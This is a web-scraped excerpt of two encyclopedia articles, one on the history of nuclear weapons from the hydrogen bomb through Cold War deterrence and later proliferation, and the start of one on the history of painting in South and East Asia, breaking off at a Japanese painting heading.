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          The hydrogen bomb age had a profound effect on the thoughts of nuclear war in the popular and military mind. With only fission bombs, nuclear war could be considered something which could easily be "limited." Dropped by planes and only able to destroy the most built up areas of major cities, it was possible to consider fission bombs simply a technological extension of previous wartime bombing (such as the extensive firebombing which took place against Japan and Germany during World War II), and claims that such weapons could lead to worldwide death or harm were easily brushed aside as grave exaggeration. Even the decades before the development of fission weapons there had been speculation about the possibility for human beings to end all life on the planet by either accident or purposeful maliciousness, but technology had never allowed for such a capacity. The far greater power of hydrogen bombs made this seem ever closer.


          The "Castle Bravo" incident itself raised a number of questions about the survivability of a nuclear war. Government scientists in both the U.S. and the USSR had insisted that fusion weapons, unlike fission weapons, were "cleaner" as fusion reactions did not result in the dangerously radioactive by-products as did fission reactions. While technically true, this hid a more gruesome point: the last stage of a multi-staged hydrogen bomb often used the neutrons produced by the fusion reactions to induce fissioning in a jacket of natural uranium, and provided around half of the yield of the device itself. This fission stage made fusion weapons considerably more "dirty" than they were made out to be, a fact made evident by the towering cloud of deadly fallout which followed the "Bravo" test. When the Soviet Union tested its first megaton device in 1955 , the possibility of a limited nuclear war seemed even more remote in the public and political mind: even if a city or country was not the direct target of a nuclear attack, the clouds of fallout and harmful fission products would disperse along with normal weather patterns and embed themselves in the soil and water of non-targeted areas of the planet as well. Speculation began to look towards what would happen as the fallout and dust created by a full-scale nuclear exchange would affect the world as a whole, rather than just the cities and countries which had been directly involved. In this way, the fate of the world was now tied to the fate of the bomb-wielding superpowers.


          


          Deterrence and brinkmanship
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          Throughout the 1950s and the early 1960s a number of trends were enacted between the U.S. and the USSR as they both endeavored in a tit-for-tat approach to disallow the other power from acquiring nuclear supremacy. This took form in a number of ways, both technologically and politically, and had massive political and cultural effects during the Cold War.


          The first atomic bombs dropped on Hiroshima and Nagasaki were large, custom-made devices, requiring highly trained personnel for their arming and deployment. They could be dropped only from the largest bomber planesat the time the B-29 Superfortressand each plane could only hold a single bomb in its hold. The first hydrogen bombs were similarly massive and complicated. This ratio of one plane to one bomb was still fairly impressive in comparison with conventional, non-nuclear weapons, but against other nuclear-armed countries it was considered to be a grave danger. In the immediate postwar years, the U.S. expended much effort on making the bombs "G.I.-proof"capable of being used and deployed by members of the U.S. Army, rather than Nobel Prizewinning scientists, and in the 1950s a program of nuclear testing was undertaken in order to improve the nuclear arsenal.


          Starting in 1951 , the Nevada Test Site (in the Nevada desert) became the primary location for all U.S. nuclear testing (in the USSR, Semipalatinsk Test Site in Kazakhstan served a similar role). Tests were divided into two primary categories: "weapons related" (verifying that a new weapon worked or looking at exactly how it worked) and "weapons effects" (looking at how weapons behaved under various conditions or how structures behaved when subjected to weapons). In the beginning, almost all nuclear tests were either "atmospheric" (conducted above ground, in the atmosphere) or "underwater" (such as some of the tests done in the Marshall Islands). Testing was used as a sign of both national and technological strength, but also raised questions about the safety of the tests, which released nuclear fallout into the atmosphere (most dramatically with the Castle Bravo test in 1954, but in more limited amounts with almost all atmospheric nuclear testing).
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          Because testing was seen as a sign of technological development (the ability to design usable weapons without some form of testing was considered dubious), halts on testing were often called for as stand-ins for halts in the nuclear arms race itself, and many prominent scientists and statesmen lobbied for a ban on nuclear testing. In 1958 , the U.S., USSR, and the United Kingdom (a new nuclear power) declared a temporary testing moratorium for both political and health reasons, but by 1961 the Soviet Union had broken the moratorium and both the USSR and the U.S. began testing with great frequency. As a show of political strength, the Soviet Union tested the largest-ever nuclear weapon in October 1961, the massive Tsar Bomba, which was tested in a reduced state with a yield of around 50 megatonsin its full state it was estimated to have been around 100 Mt. The weapon was largely impractical for actual military use, but was hot enough to induce third-degree burns at a distance of 62 mi (100 km) away. In its full, "dirty" design, it would have increased the amount of worldwide fallout since 1945 by 25%.


          In 1963, all nuclear and many non-nuclear states signed the Limited Test Ban Treaty, pledging to refrain from testing nuclear weapons in the atmosphere, underwater, or in outer space. The treaty permitted underground tests.


          Most tests were considerably more modest, and worked for direct technical purposes as well as their potential political overtones. Weapons improvements took on two primary forms. One was an increase in efficiency and power, and within only a few years fission bombs were being developed which were many times more powerful than the ones created during World War II. The other was a program of miniaturization, reducing the size of the nuclear weapons themselves. Smaller bombs meant that bombers could carry more of them, and thus become even more of a threat against even the most rigorous air defenses, and they could also be used in conjunction with the development in rocketry during the 1950s and 1960s. U.S. rocket efforts had received a large boost in the postwar years, largely from the acquiring of engineers who had worked on the Nazi rocketry program during the war, such as Wernher von Braun, who had been involved in the design and manufacture of the V-2 rockets which were launched across the English Channel. An American program, Project Paperclip, had endeavored to move scientists of this sort into American hands (and kept out of Soviet hands) and put them to work on projects for the U.S.


          


          Weapons improvement


          The first nuclear-tipped rockets, such as the MGR-1 Honest John, first deployed by the U.S. in 1953 , were surface-to-surface missiles with relatively short ranges (around 15 mi/25 km maximum) with yields around twice the size of the first fission weapons. The limited range of these weapons meant that they could only be used in certain types of potential military situationsthe U.S. rocket weapons could not, for example, threaten the city of Moscow with the threat of an immediate strike, and could only be used as "tactical" weapons (that is, for small-scale military situations).
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          For "strategic" weaponsweapons which would serve to threaten an entire countryfor the time being, only long-range bombers capable of penetrating deep into enemy territory would work. In the U.S. this resulted in the creation of the Strategic Air Command in 1946 , a system of bombers headed by General Curtis LeMay (who had previously presided over the firebombing of Japan during WWII), which kept a number of nuclear-armed planes in the sky at all times, ready to receive orders to attack Moscow whenever commanded.


          These technological possibilities enabled nuclear strategy to develop a logic considerably different than previous military thinking had allowed. Because the threat of nuclear warfare was so awful, it was first thought that it might make any war of the future impossible. President Dwight D. Eisenhower's doctrine of "massive retaliation" in the early years of the Cold War was a message to the USSR, saying that if the Red Army attempted to invade the parts of Europe not given to the Eastern bloc during the Potsdam Conference (such as West Germany), nuclear weapons would be used against the Soviet troops and potentially the Soviet leaders.


          With the development of more rapid-response technologies (such as rockets and long-range bombers), this policy began to shift. If the Soviet Union also had nuclear weapons and a policy of "massive retaliation" was carried out, it was reasoned, then any Soviet forces not killed in the initial attack, or launched while the attack was ongoing, would be able to serve their own form of nuclear "retaliation" against the U.S. Recognizing this to be an undesirable outcome, military officers and game theorists at the RAND think tank developed a nuclear warfare strategy that would eventually become known as Mutually Assured Destruction (MAD).
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          MAD divided potential nuclear war into two stages: first strike and second strike. A first strike would be the first use of nuclear weapons by one nuclear-equipped nation against another nuclear-equipped nation. If the attacking nation did not prevent the attacked nation from a nuclear response, then a second strike could be deployed against the attacking nation. In this situation, whether the U.S. first attacked the USSR or the USSR first attacked the U.S., the end result would be that both nations would be damaged perhaps to the point of utter social collapse. According to game theory, because starting a nuclear war would be suicidal, no logical country would willfully enter into a nuclear war. However, if a country were capable of launching a first strike which would utterly destroy the ability of the attacked country to respond in kind, then the balance of power would be disturbed and nuclear war could then be safely undertaken.


          MAD played on two seemingly opposed modes of thought: cold logic and emotional fear. The phrase by which MAD was often known, "nuclear deterrence", was translated as "dissuasion" by the French and "terrorization" by the Russians. This apparent paradox of nuclear war was summed up by British Prime Minister Winston Churchill as "the worse things get, the better they are"the greater the threat of mutual destruction, the safer the world would be.


          This philosophy made a number of technological and political demands on participating nations. For one thing, it said that it should always be assumed that an enemy nation may be trying to acquire "first strike capability," something which must always be avoided. In American politics this translated into demands to avoid "missile gaps" and "bomber gaps" where the Soviet Union could potentially "out shoot" American efforts (most of these supposed "gaps" proved to be political figments, but this hardly mattered at the time). It also encouraged the production of thousands of nuclear weapons by both the U.S. and the USSR, far more than would be needed to simply destroy the major civilian and military infrastructures of the opposing country.
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          The policy also encouraged the development of the first early warning systems. Conventional war, even at its fastest, was fought over time scales of days and weeks. With long-range bombers, the time from the start of an attack to its conclusion was reduced to mere hours. With rockets, it could be reduced to minutes. It was reasoned that conventional command and control systems could not be expected to adequately respond to a nuclear attack, and so great lengths were taken to develop the first computers which could look for enemy attacks and direct rapid responses. In the U.S., massive funding was poured into the development of SAGE, a system which would track and intercept enemy bomber aircraft using information from remote radar stations, and was the first computer system to feature real-time processing, multiplexing, and display devicesthe first "general" computing machine, and a direct predecessor of modern computers.


          


          Anti-nuclear


          Bombers and short-range rockets were not reliable: planes could be shot down, and earlier nuclear missiles could cover only a limited range for example, the first Soviet rockets' range limited them to targets in Europe. However, by the 1960s, both the United States and the Soviet Union had developed intercontinental ballistic missiles, which could be launched from extremely remote areas far away from their target; and submarine-launched ballistic missiles, which had less range but could be launched from submarines very close to the target without any radar warning. This made any national protection from nuclear missiles increasingly impractical.


          The military realities made for a precarious diplomatic situation. The international politics of brinkmanship led leaders to exclaim their willingness to participate in a nuclear war rather than concede any advantage to their opponents, feeding public fears that their generation may be the last. Civil defense programs undertaken by both superpowers, exemplified by the construction of fallout shelters and urging civilians about the "survivability" of nuclear war, did little to ease public concerns. A joke known by most Russians during the Cold War said that when one heard the air raid sirens, one should pick up a shovel and quietly proceed to the nearest cemetery, to dig your own grave. A similar joke in the U.S. recommended that one stay calm, put one's head between one's legs, and kiss your ass goodbye, a parody of the " duck and cover" routines practiced by schoolchildren across the country.
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          The climax of brinksmanship came in early 1962 , when an American U-2 spy plane photographed a series of launch sites for medium-range ballistic missiles being constructed on the island of Cuba, just off the coast of the southern United States, beginning what became known as the Cuban Missile Crisis. The U.S. administration of John F. Kennedy concluded that the Soviet Union, then led by Nikita Khrushchev, was planning to station Russian nuclear missiles on the island, which was under the control of Communist Fidel Castro. On October 22, Kennedy announced the discoveries in a televised address, and declared that a naval quarantine would be put around Cuba to turn back any Soviet nuclear shipments, and warned that the military was prepared "for any eventualities." The missiles would have a range of 2,400 miles (4,000 km), and allow the Soviet Union to easily destroy many major American cities on the Eastern Seaboard if a nuclear war were started.


          The leaders of the two superpowers stood nose to nose, seemingly poised over the beginnings of a third world war. Khrushchev's ambitions for putting the weapons on the island were motivated in part by the fact that the U.S. had stationed similar weapons in Britain, Italy, and nearby Turkey, and had previously attempted to sponsor an invasion of Cuba the year before in the failed Bay of Pigs Invasion. On October 26, an offer was sent from Khrushchev to Kennedy offering to withdraw all missiles if Kennedy would commit to a policy of no future invasions of Cuba. Khrushchev worded the threat of assured destruction eloquently:


          
            	"You and I should not now pull on the ends of the rope in which you have tied a knot of war, because the harder you and I pull, the tighter the knot will become. And a time may come when this knot is tied so tight that the person who tied it is no longer capable of untying it, and then the knot will have to be cut. What that would mean I need not explain to you, because you yourself understand perfectly what dreaded forces our two countries possess."

          


          


          A day later, however, the Russians put forward another offer, this time demanding that the U.S. remove its missiles from Turkey before any missiles would be withdrawn from Cuba. On the same day, a U-2 plane was shot down over Cuba and another was almost intercepted over Russia, and Soviet merchant ships were nearing the quarantine zone. Kennedy responded by accepting the first deal publicly, and sending his brother Robert to the Soviet embassy to accept the second deal in private. On October 28, the Soviet ships stopped at the quarantine line and, after some hesitation, turned back towards the Soviet Union. Khrushchev announced that he had ordered the removal of all missiles in Cuba, and U.S. Secretary of State Dean Rusk was moved to comment, "We went eyeball to eyeball, and the other fellow just blinked."


          The Crisis was later seen as the closest the U.S. and the USSR ever came to nuclear war and had been narrowly averted by last-minute compromise by both superpowers. Fears of communication difficulties led to the installment of the first hotline, a direct link between the superpowers which would allow them to more easily discuss future military activities and political maneuverings. It had been made clear that with their missiles, bombers, submarines, and computerized firing systems, the escalation of any situation to Armageddon could be done far more easily than anybody desired.


          After stepping so close to the brink, both the U.S. and the USSR worked to reduce their nuclear tensions in the years immediately following. The most immediate culmination of this work was the signing of the Partial Test Ban Treaty in 1963 , in which the U.S. and USSR agreed to no longer test nuclear weapons in the atmosphere, underwater, or in outer space. Testing underground continued, allowing for further weapons development, but the worldwide fallout risks were purposefully reduced, and the era of using massive nuclear tests as a form of saber-rattling had primarily ended.


          In 1981, as U.S. President Ronald Reagan's administration pushed the arms race to new levels of higher tension with the USSR, one million people marched for nuclear disarmament and abolition in New York City. As the nuclear abolitionist movement grew, over 2,000 people were arrested in a two-day period in 1988 at the gate of the Nevada Test Site. Four of the significant groups organizing this renewal of anti-nuclear activism were Greenpeace, The American Peace Test, The Western Shoshone, and Nevada Desert Experience.


          


          Initial proliferation


          In the fifties and sixties, three more countries joined the "nuclear club."


          The United Kingdom had been an integral part of the Manhattan Project following the Quebec Agreement in 1943 . The passing of the McMahon Act by the United States in 1946 unilaterally broke this partnership and prevented the passage of any further information to the United Kingdom. The British Government under Clement Attlee determined that it would be essential for there to be a British Bomb. Because of the involvement in the Manhattan Project Britain had extensive knowledge in some areas, but not in others. An improved version of 'Fat Man' was developed, and on 26th February 1952, Prime Minister Winston Churchill announced that the United Kingdom also had an atomic bomb and a successful test took place on the 3rd October 1952. At first these were free-fall bombs and then there was a missile, Blue Steel, and a later-canceled MRBM, Blue Streak. Anglo-American cooperation on Nuclear weapons was restored by the 1958 US-UK Mutual Defence Agreement. As a result of this and the Polaris Sales Agreement, the United Kingdom has bought United States designs for submarine missiles and fitted its own warheads. It retains full independent control over the use of the missiles. It no longer possesses any free-fall bombs.


          France had been heavily involved in nuclear research before World War II through the work of the Joliot-Curies. This was discontinued after the war because of the instability of the Fourth Republic and the lack of finance available . However, in the 1950's a civil nuclear research program was started, a byproduct of which would be plutonium. In 1956 a secret Committee for the Military Applications of Atomic Energy was formed and a development program for delivery vehicles started. With the return of Charles de Gaulle to the presidency of France in 1958 the final decisions to build a bomb were taken, and a successful test took place in 1960 . Since then France has developed and maintained its own nuclear deterrent.


          In 1951 China and the Soviet Union signed an agreement whereby China would supply uranium ore in exchange for technical assistance in producing nuclear weapons. In 1953 China had established a research program under the guise of civilian nuclear energy. Throughout the 1950's the Soviet Union provided large amounts of equipment, but as the relations between the two countries worsened, the amount of assistance was reduced, and in 1959 the donation of a bomb for copying purposes was refused. Despite this, rapid progress was made with the test of an atomic bomb on the 16th October 1964 at Lop Nur, a nuclear missile on 25th October 1966, and of a hydrogen bomb on the 14th June 1967. Nuclear warheads were produced from 1968 and thermonuclear warheads from 1974 . The Cultural Revolution slowed the pace of progress, but it is thought that tactical nuclear weapons have been developed. It is also thought that Chinese warheads have been successfully miniaturised from 2200kg to 700kg through the use of designs obtained by espionage from the United States. The current number of weapons is unknown owing to strict secrecy, but it is thought that up to 2000 warheads may have been produced, though far fewer may be available for use. China is the only one of the nuclear weapons states to have guaranteed the non-first use of nuclear weapons.


          


          Cold War
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          After World War II, the balance of power between the Eastern and Western blocs, resulting in the fear of global destruction, prevented the further military use of atomic bombs. This fear was even a central part of Cold War strategy, referred to as the doctrine of Mutually Assured Destruction ("MAD" for short). So important was this balance to international political stability that a treaty, the Anti-Ballistic Missile Treaty (or ABM treaty), was signed by the U.S. and the USSR in 1972 to curtail the development of defenses against nuclear weapons and the ballistic missiles which carry them. This doctrine resulted in a large increase in the number of nuclear weapons, as each side sought to ensure it possessed the firepower to destroy the opposition in all possible scenarios and against all perceived threats.


          Early delivery systems for nuclear devices were primarily bombers like the United States B-29 Superfortress and Convair B-36, and later the B-52 Stratofortress. Ballistic missile systems, based on Wernher von Braun's World War II designs (specifically the V2 rocket), were developed by both United States and Soviet Union teams (in the case of the U.S., effort was directed by the German scientists and engineers). These systems, after testing, were used to launch satellites, such as Sputnik, and to propel the Space Race, but they were primarily developed to create the capability of Intercontinental Ballistic Missiles ( ICBMs) with which nuclear powers could deliver that destructive force anywhere on the globe. These systems continued to be developed throughout the Cold War, although plans and treaties, beginning with the Strategic Arms Limitation Treaty ( SALT I), restricted deployment of these systems until, after the fall of the Soviet Union, system development essentially halted, and many weapons were disabled and destroyed (see nuclear disarmament).


          There have been a number of potential nuclear disasters. Following air accidents U.S. nuclear weapons have been lost near Atlantic City, New Jersey (1957); Savannah, Georgia (1958) (see Tybee Bomb); Goldsboro, North Carolina (1961); off the coast of Okinawa (1965); in the sea near Palomares, Spain (1966) (see Palomares hydrogen bombs incident); and near Thule, Greenland (1968). Most of the lost weapons were recovered, the Spanish device after three months' effort by the DSV Alvin and DSV Aluminaut. The Soviet Union was less forthcoming about such incidents, but the environmental group Greenpeace believes that there are around forty non-U.S. nuclear devices that have been lost and not recovered, compared to eleven lost by America, mostly in submarine disasters. The U.S. has tried to recover Soviet devices, notably in the 1974 Operation Jennifer using the specialist salvage vessel Hughes Glomar Explorer.


          On January 27, 1967, more than 60 nations signed the Outer Space Treaty, banning nuclear weapons in space.


          The end of the Cold War failed to end the threat of nuclear weapon use, although global fears of nuclear war reduced substantially.


          In a major move of de-escalation, Boris Yeltsin, on January 26, 1992, announced that Russia planned to stop targeting United States cities with nuclear weapons.


          


          Second nuclear age


          Although it has started before the end of the Cold War, the second nuclear age - proliferation of nuclear weapons among lesser powers and for reasons other than the American-Soviet rivalry - really began with the end of the Cold War.


          India's first atomic-test explosion was in 1974 with Smiling Buddha, which it described as a "peaceful nuclear explosion". India tested fission and perhaps fusion devices in 1998 , and Pakistan successfully tested fission devices that same year, raising concerns that they would use nuclear weapons on each other. All of the former Soviet bloc countries with nuclear weapons (Belarus, Ukraine, and Kazakhstan) returned their warheads to Russia by 1996 , though recent data has suggested that a clerical error may have left some warheads in Ukraine.


          In January 2004, Pakistani metallurgist and weapons scientist Abdul Qadeer Khan confessed to having been a part of an international proliferation network of materials, knowledge, and machines from Pakistan to Libya, Iran, and North Korea.


          South Africa also had an active program to develop uranium-based nuclear weapons, but dismantled its nuclear weapon program in the 1990s. It is not believed that it actually tested such a weapon though it later claimed to have constructed several crude devices which it eventually dismantled. In the late 1970s American spy satellites detected a "brief, intense, double flash of light near the southern tip of Africa." Known as the Vela Incident, it was speculated to have been a South African or possibly Israeli nuclear weapons test, though a later scientific review of the data indicated that it may have been caused by natural events.


          Israel is widely believed to possess an arsenal of potentially up to several hundred nuclear warheads, but this has never been officially confirmed or denied (though the existence of their Dimona nuclear facility was more or less confirmed by the leaks of the dissident Mordechai Vanunu in 1986).


          North Korea announced in 2003 that it also had several nuclear explosives though it has not been confirmed and the validity of this has been a subject of scrutiny amongst weapons experts. The first detonation of a nuclear weapon by the Democratic People's Republic of Korea was the 2006 North Korean nuclear test, conducted on October 9, 2006.


          In Iran, Ayatollah Ali Khamenei issued a fatwa forbidding the production, stockpiling and use of nuclear weapons on August 9, 2005. The full text of the fatwa was released in an official statement at the meeting of the International Atomic Energy Agency (IAEA) in Vienna. Despite this, however, there is mounting concern in many nations about Iran's refusal to halt its nuclear power program, which many fear is a cover for weapons development.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/History_of_nuclear_weapons"
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          The history of painting reaches back in time to artifacts from pre-historic humans, and spans all cultures.


          


          Pre-history


          The oldest known paintings are at the Grotte Chauvet in France, claimed by some historians to be about 32,000 years old. They are engraved and painted using red ochre and black pigment and show horses, rhinoceros, lions, buffalo, mammoth or humans often hunting. There are examples of cave paintings all over the worldin France, India, Spain, Portugal, China, Australia etc. Various conjectures have been made as to the meaning these paintings had to the people that made them. Prehistoric men may have painted animals to "catch" their soul or spirit in order to hunt them more easily, or the paintings may represent an animistic vision and homage to surrounding nature, or they may be the result of a basic need of expression that is innate to human beings.


          


          Eastern painting


          


          South Asian painting
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              Shiva, the Hindu lord of destruction
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          Indian painting


          Indian paintings historically revolved around the religious deities and kings. Indian art is a collective term for several different schools of art which existed the Indian subcontinent. The paintings varied from large frescoes of Ellora to the intricate Mughal miniature paintings to the metal embellished works from the Tanjore school. The paintings from the Gandhar- Taxila are influenced by the Persian works in the west. The eastern style of painting was mostly developed around the Nalanda school of art. The works are mostly inspired by various scenes from Indian mythology.


          


          History


          The earliest Indian paintings were the rock paintings of prehistoric times, the petroglyphs as found in places like the Rock Shelters of Bhimbetka, and some of them are older than 5500 BC. Such works continued and after several millennia, in the 7th century, carved pillars of Ajanta, Maharashtra state present a fine example of Indian paintings, and the colors, mostly various shades of red and orange, were derived from minerals.
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          Ajanta Caves in Maharashtra, India are rock-cut cave monuments dating back to the second century BCE and containing paintings and sculpture considered to be masterpieces of both Buddhist religious art and universal pictorial art.
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            	Madhubani painting

          


          Madhubani painting is a style of Indian painting, practiced in the Mithila region of Bihar state, India. The origins of Madhubani painting are shrouded in antiquity, and a tradition states that this style of painting originated at the time of the Ramayana, when King Janak commissioned artists to do paintings at the time of marriage of his daughter, Sita, with Sri Rama who is considered to be an incarnation of the Hindu god lord Vishnu.
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            	Rajput painting

          


          Rajput painting, a style of Indian painting, evolved and flourished, during the 18th century, in the royal courts of Rajputana, India. Each Rajput kingdom evolved a distinct style, but with certain common features.
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              Rajput soldier.
            

          


          Rajput paintings depict a number of themes, events of epics like the Ramayana and the Mahabharata, Krishnas life, beautiful landscapes, and humans. Miniatures were the preferred medium of Rajput painting, but several manuscripts also contain Rajput paintings, and paintings were even done on the walls of palaces, inner chambers of the forts, havelies, particularly, the havelis of Shekhawait.


          The colors extracted from certain minerals, plant sources, conch shells, and were even derived by processing precious stones, gold and silver were used. The preparation of desired colors was a lengthy process, sometimes taking weeks. Brushes used were very fine.
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            	Mughal painting

          


          Mughal painting is a particular style of Indian painting, generally confined to illustrations on the book and done in miniatures, and which emerged, developed and took shape during the period of the Mughal Empire 16th -19th centuries).
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            	Tanjore painting

          


          Tanjore painting is an important form of classical South Indian painting native to the town of Tanjore in Tamil Nadu. The art form dates back to the early 9th Century, a period dominated by the Chola rulers, who encouraged art and literature. These paintings are known for their elegance, rich colors, and attention to detail. The themes for most of these paintings are Hindu Gods and Goddesses and scenes from Hindu mythology. In modern times, these paintings have become a much sought after souvenir during festive occasions in South India.


          The process of making a Tanjore painting involves many stages. The first stage involves the making of the preliminary sketch of the image on the base. The base consists of a cloth pasted over a wooden base. Then chalk powder or zinc oxide is mixed with water-soluble adhesive and applied on the base. To make the base smoother, a mild abrasive is sometimes used. After the drawing is made, decoration of the jewellery and the apparels in the image is done with semi-precious stones. Laces or threads are also used to decorate the jewellery. On top of this, the gold foils are pasted. Finally, dyes are used to add colors to the figures in the paintings.


          
            	The Madras School

          


          During British rule in India, the crown found that Madras had some of the most talented and intellectual artistic minds in the world. As the British had also established a huge settlement in and around Madras, Georgetown was chosen to establish an institute that would cater to the artistic expectations of the royals in London. This has come to be known as the Madras School. At first traditional artists were employed to produce exquisite varieties of furniture, metal work, and curios and their work was sent to the royal palaces of the Queen.


          Unlike the Bengal School where 'copying' is the norm of teaching, the Madras School flourishes on 'creating' new styles, arguments and trends.
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            	The Bengal School

          


          The Bengal School of Art was an influential style of art that flourished in India during the British Raj in the early 20th century. It was associated with Indian nationalism, but was also promoted and supported by many British arts administrators.


          The Bengal School arose as an avant garde and nationalist movement reacting against the academic art styles previously promoted in India, both by Indian artists such as Ravi Varma and in British art schools. Following the widespread influence of Indian spiritual ideas in the West, the British art teacher Ernest Binfield Havel attempted to reform the teaching methods at the Calcutta School of Art by encouraging students to imitate Mughal miniatures. This caused immense controversy, leading to a strike by students and complaints from the local press, including from nationalists who considered it to be a retrogressive move. Havel was supported by the artist Abanindranath Tagore, a nephew of the poet Rabindranath Tagore. Tagore painted a number of works influenced by Mughal art, a style that he and Havel believed to be expressive of India's distinct spiritual qualities, as opposed to the "materialism" of the West. Tagore's best-known painting, Bharat Mata (Mother India), depicted a young woman, portrayed with four arms in the manner of Hindu deities, holding objects symbolic of India's national aspirations. Tagore later attempted to develop links with Japanese artists as part of an aspiration to construct a pan-Asianist model of art.


          The Bengal School's influence in India declined with the spread of modernist ideas in the 1920s.


          


          East Asian painting


          China, Japan and Korea have a strong tradition in painting which is also highly attached to the art of calligraphy and printmaking (so much that it is commonly seen as painting). Far east traditional painting is characterized by water based techniques, less realism, "elegant" and stylized subjects, graphical approach to depiction, the importance of white space (or negative space) and a preference for landscape (instead of human figure) as a subject. Beyond ink and colour on silk or paper scrolls, gold on lacquer was also a common medium in painted East Asian artwork. Although silk was a somewhat expensive medium to paint upon in the past, the invention of paper during the 1st century AD by the Han court eunuch Cai Lun provided not only a cheap and widespread medium for writing, but also a cheap and widespread medium for painting (making it more accessible to the public).


          The ideologies of Confucianism, Daoism, and Buddhism played important roles in East Asian art. Medieval Song Dynasty painters such as Lin Tinggui and his Luohan Laundering (housed in the Smithsonian Freer Gallery of Art) of the 12th century are excellent examples of Buddhist ideas fused into classical Chinese artwork. In the latter painting on silk (image and description provided in the link), bald-headed Buddhist Luohan are depicted in a practical setting of washing clothes by a river. However, the painting itself is visually stunning, with the Luohan portrayed in rich detail and bright, opaque colors in contrast to a hazy, brown, and bland wooded environment. Also, the tree tops are shrouded in swirling fog, providing the common "negative space" mentioned above in East Asian Art.


          In Japonisme, late 19th century artists like the Impressionists, Van Gogh, Henri de Toulouse-Lautrec and Whistler admired traditional Japanese Ukiyo-e artists like Hokusai and Hiroshige and their work was influenced by it.
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          Chinese painting
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          The earliest (surviving) examples of Chinese painted artwork date to the Warring States Period (481 - 221 BC), with paintings on silk or tomb murals on rock, brick, or stone. They were often in simplistic stylized format and in more-or-less rudimentary geometric patterns. They often depicted mythological creatures, domestic scenes, labor scenes, or palatial scenes filled with officials at court. Artwork during this period and the subsequent Qin Dynasty (221 - 207 BC) and Han Dynasty (202 BC - 220 AD) was made not as a means in and of itself or for higher personal expression. Rather artwork was created to symbolize and honour geomancy, funerary rights, representations of mythological deities or spirits of ancestors, etc. Paintings on silk of court officials and domestic scenes could be found during the Han Dynasty, along with scenes of men hunting on horseback or partaking in military parade. During the social and cultural climate of the ancient Eastern Jin Dynasty (316 - 420 AD) based at Nanjing in the south, painting became one of the official pasttimes of Confucian-taught bureaucratic officials and aristocrats (along with music played by the guqin zither, writing fanciful calligraphy, and writing and reciting of poetry). Painting became a common form of artistic self-expression, and during this period painters at court or amongst elite social circuits were judged and ranked by their peers.


          The establishment of classical Chinese landscape painting is accredited largely to the Eastern Jin Dynasty artist Gu Kaizhi (344 - 406 AD), one of the most famous artists of Chinese history. Like the elongated scroll scenes of Kaizhi, Tang Dynasty (618 - 907 AD) Chinese artists like Wu Daozi painted vivid and highly detailed artwork on long horizontal handscrolls (which were very popular during the Tang), such as his Eighty Seven Celestial People. Painted artwork during the Tang period pertained the effects of an idealized landscape environment, with sparse amount of objects, persons, or activity, as well as monochromatic in nature (example: the murals of Price Yide's tomb in the Qianling Mausoleum). There were also figures such as early Tang-era painter Zhan Ziqian, who painted superb landscape paintings that were well ahead of his day in portrayal of realism. However, landscape art did not reach greater level of maturity and realism in general until the Five Dynasties and Ten Kingdoms period (907 - 960 AD). During this time, there were exceptional landscape painters like Dong Yuan (refer to this article for an example of his artwork), and those who painted more vivid and realistic depictions of domestic scenes, like Gu Hongzhong and his Night Revels of Han Xizai.


          During the Chinese Song Dynasty (960 - 1279 AD), not only landscape art was improved upon, but portrait painting became more standardized and sophisticated than before (for example, refer to Emperor Huizong of Song), and reached its classical age maturity during the Ming Dynasty (1368 - 1644 AD). During the late 13th century and first half of the 14th century, Chinese under the Mongol-controlled Yuan Dynasty were not allowed to enter higher posts of government (reserved for Mongols or other ethnic groups, such as Turks or Persians), and the Imperial examination was ceased for the time being. Many Confucian-educated Chinese who now lacked profession turned to the arts of painting and theatre instead, as the Yuan period became one of the most vibrant and abundant eras for Chinese artwork. Examples of superb art from this period include the rich and detailed painted murals of the Yongle Palace , or "Dachunyang Longevity Palace", of 1262 AD, a UNESCO World Heritage site. Within the palace, paintings cover an area of more than 1000 square meters, and hold mostly Daoist themes. It was during the Song Dynasty that painters would also gather in social clubs or meetings to discuss their art or others' artwork, the praising of which often led to persuasions to trade and sell precious works of art. However, there were also many harsh critics of others art as well, showing the difference in style and taste amongst different painters. In 1088 AD, the polymath scientist and statesman Shen Kuo once wrote of the artwork of one Li Cheng, who he criticized as follows:


          
            ...Then there was Li Chheng, who when he depicted pavilions and lodges amidst mountains, storeyed buildings, pagodas and the like, always used to paint the eaves as seen from below. His idea was that 'one should look upwards from underneath, just as a man standing on level ground and looking up at the eaves of a pagoda can see its rafters and its cantilever eave rafters'. This is all wrong. In general the proper way of painting a landscape is to see the small from the viewpoint of the large (i ta kuan hsiao), just as one looks at artificial mountains in gardens (as one walks about). If one applies (Li's method) to the painting of real mountains, looking up at them from below, one can only see one profile at a time, and not the wealth of their multitudinous slopes and profiles, to say nothing of all that is going on in the valleys and gorges, and in the lanes and courtyards with their dwellings and houses. If we stand to the east of a mountain its western parts would be on the vanishing boundary of far-off distance, and vice-versa. Surely this could not be called a successful painting? Mr. Li did not understand the principle of 'seeing the small from the viewpoint of the large'. He was certainly marvelous at diminishing accurately heights and distances, but should one attach such importance to the angles and corners of buildings?
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          Although high level of stylization, mystical appeal, and surreal elegance were often preferred over realism (such as in shan shui style), beginning with the medieval Song Dynasty there were many Chinese painters then and afterwards who depicted scenes of nature that were vividly real. Later Ming Dynasty artists would take after this Song Dynasty emphasis for intricate detail and realism on objects in nature, especially in depictions of animals (such as ducks, swans, sparrows, tigers, etc.) amongst patches of brightly-colored flowers and thickets of brush and wood (a good example would be the anonymous Ming Dynasty painting Birds and Plum Blossoms , housed in the Freer Gallery of the Smithsonian Museum in Washington DC). There were many renowned Ming Dynasty artists; Qiu Ying is an excellent example of a paramount Ming era painter (famous even in his own day), utilizing in his artwork domestic scenes, bustling palatial scenes, and nature scenes of river valleys and steeped mountains shrouded in mist and swirling clouds. During the Ming Dynasty there were also different and rivaling schools of art associated with painting, such as the Wu School and the Zhe School.


          Classical Chinese painting continued on into the early modern Qing Dynasty, with highly realistic portrait paintings like seen in the late Ming Dynasty of the early 17th century. The portraits of Kangxi Emperor, Yongzheng Emperor, and Qianlong Emperor are excellent examples of realistic Chinese portrait painting. During the Qianlong reign period and the continuing 19th century, European Baroque styles of painting had noticeable influence on Chinese portrait paintings, especially with painted visual effects of lighting and shading. Likewise, East Asian paintings and other works of art (such as porcelain and lacquerware) were highly prized in Europe since initial contact in the 16th century.


          


          Japanese painting


